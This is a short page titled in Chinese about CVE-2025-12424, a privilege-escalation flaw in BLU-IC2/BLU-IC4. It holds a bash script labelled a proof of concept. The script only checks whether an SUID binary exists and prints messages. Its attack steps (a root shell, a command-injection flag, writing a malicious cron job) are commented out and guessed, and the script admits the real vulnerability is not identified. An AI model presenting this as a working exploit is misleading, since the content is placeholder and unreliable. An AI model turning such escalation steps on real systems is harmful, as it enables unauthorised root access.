CVE-2025-12424: BLU-IC2/BLU-IC4 SUID位权限提升漏洞

#!/bin/bash # CVE-2025-12424 PoC - BLU-IC2/BLU-IC4 SUID Privilege Escalation # This is a conceptual PoC for demonstration purposes TARGET="/usr/bin/blu-ic2" # Target SUID binary (path may vary) # Check if target exists and has SUID bit set echo "[*] Checking for vulnerable SUID binary..." if [ -u "$TARGET" ]; then echo "[+] SUID binary found: $TARGET" echo "[+] Current user: $(whoami)" # Attempt privilege escalation # Note: Actual exploitation requires identifying specific vulnerability echo "[*] Attempting privilege escalation..." # Method 1: Direct command injection (if vulnerable) # $TARGET --exec "$(whoami)" # Method 2: Spawn root shell (if binary provides shell access) # $TARGET --shell # Method 3: File write as root (if writable directories exist) # $TARGET --write /etc/cron.d/malicious_job echo "[!] This is a PoC for CVE-2025-12424" echo "[!] Exploitation requires specific vulnerability analysis" else echo "[-] Target binary not found or no SUID bit set" echo "[-] Target may have been patched or path is different" fi # For verification, check current privileges echo "[*] Current privileges:" id